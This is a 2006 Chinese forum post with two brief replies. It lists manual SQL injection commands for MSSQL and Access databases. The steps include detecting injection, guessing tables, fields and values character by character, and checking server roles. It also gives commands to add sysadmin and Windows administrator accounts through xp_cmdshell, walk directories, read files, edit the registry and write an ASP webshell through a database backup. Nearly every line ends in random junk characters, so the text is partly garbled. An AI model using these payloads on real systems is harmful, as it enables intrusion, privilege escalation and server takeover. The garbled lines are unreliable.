社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5372阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 nQMN2jM  
  2.初步判断是否是mssql ;and user>0 2sq<"TlQXI  
/d;l:  
  3.注入参数是字符'and [查询条件] and ''=' I<f M8t.Y>  
WVFy ZpB  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' G(e?]{(  
e70*y'1fu  
  5.判断数据库系统 /zAx`H  
$x0F(|wxt  
  ;and (select count(*) from sysobjects)>0 mssql 4(](' [M  
eZo%q,L  
  ;and (select count(*) from msysobjects)>0 access n`1i k'x?  
M1\/ueOe  
->UrWW^  
Gd 9B  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 =0|evC  
YTA  &G  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 C5?M/xj  
$tJJ >"  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0  }P#gXG  
kdq55zTc<6  
  9.(1)猜字段的ascii值(access) z9ZAY!Zhq]  
$cedO']  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 75ob1h"  
,\IZ/1  
  (2)猜字段的ascii值(mssql) e)8iPu ..  
c{q`uI;O  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 vhW '2<(  
D\JYa@*?.h  
  10.测试权限结构(mssql) _BV:i:z  
* bK@A2`  
u""= 9>0  
ZVL0S{V-mh  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- WfVie6  
J\BdC];  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7Fx8&Z  
 '}=M~  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ;f?bb*1  
Pa*yo:U'h  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- wl4yNC  
qJsEKuOs  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- YL+W 4 ld  
X"]ZV]7(]s  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Q\Eq(2p  
(46)v'?  
  ;and 1=(select IS_MEMBER('db_owner'));-- gQ[4{+DSf  
L[^e< I  
U+z&jdnhDR  
D {mu2'q  
  11.添加mssql和系统的帐户 D+U^ pl-  
R;%iu0  
  ;exec master.dbo.sp_addlogin username;-- e)M1$  
  ;exec master.dbo.sp_password null,username,password;-- vzU%5,  
q)/4i9  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- z'm;H{xf  
bF.Aj8ZQ  
  ;exec master.dbo.xp_cmdshell 'net user username password ;AaF;zPV  
9"rATgN1  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ?$?Ni)Z  
@AwH?7(b  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- 86i =N _  
_> *"6  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- E4{8 $:q=  
u=4Rn  
1DX=\BWp  
9Ah4N2nL-b  
  12.(1)遍历目录 h(9K7  
jH8F^KJM[  
  ;create table dirs(paths varchar(100), id int) l}m@9 ~oC  
{0|^F!1z  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' ms?h/*E<H  
f-Sb:O!V  
  ;and (select top 1 paths from dirs)>0 ^^v!..V]J  
Ne=D $o  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) =hA/;  
o,29C7Ii  
'F@'4[uda  
76 y}1aa  
  (2)遍历目录 }} IvZG&  
(qaY,>je]D  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- $ZA71TzMV  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 X0m\   
<+6)E@Y  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 [P^ .=F  
VL\6U05Z  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 'p<(6*,"  
zEu*q7  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 (*|hlD~  
\=.iM?T  
mF "ctxE  
s)}C&T$Y.  
  13.mssql中的存储过程 y'(;!5w  
;lP)  
  xp_regenumvalues 注册表根键, 子键 u|+O%s TQ  
zgLm~  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 n#4Ra+dD  
5R qkAC  
  xp_regread 根键,子键,键值名 *dGW=aM#C  
hse$M\5  
  ;exec xp_regread 8NpQ"0X  
*/6PkNq  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 BwbvZfV|  
<CeDIX t  
  xp_regwrite 根键,子键, 值名, 值类型, 值 =E{1QA0  
@@+\  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 a 6[bF  
ibEQ52  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 wL~ dZ! ,J  
0nBAO  
  xp_regdeletevalue 根键,子键,值名 s@0#w*N  
Fe8xOo6  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 EyozhIV  
E: #VS~  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 nNf/$h#;O  
kZfO`BVL  
p5E|0p  
XBCz\f  
  14.mssql的backup创建webshell DT;Hr4Z8^"  
e:&5Cvx  
  use model p,U.5bX  
{R\"x|  
  create table cmd(str image); Jgb{Tl:r  
F8.Fp[_tM  
  insert into cmd(str) values (''); !DXKn\aQf  
jf@#&%AC9  
  backup database model to disk='c:\l.asp'; V 9][a  
[/6IEt3}B  
1jO/"d.8n  
y~jTI[kS  
  15.mssql内置函数 q8`JRmt)H  
~#N^@a  
  ;and (select @@version)>0 获得Windows的版本号  weKwBw  
uee2WGD  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa 6l<q  
[YLaR r  
  ;and (select user_name())>0 爆当前系统的连接用户 5F18/:\n  
9Y3_.qa(.  
  ;and (select db_name())>0 得到当前连接的数据库 MZv In ZS  
`a*[@a#  
K]1A,Q  
ML9ZS @  
  16.简洁的webshell q]DV49UK  
W c{<DE?J  
  use model Vr+X!DeY  
VE`5bD+%e  
  create table cmd(str image); <-D>^p9  
BRLrD/8Le  
  insert into cmd(str) values (''); /PafIq  
IQAV`~_G  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
枫
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录 或 注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八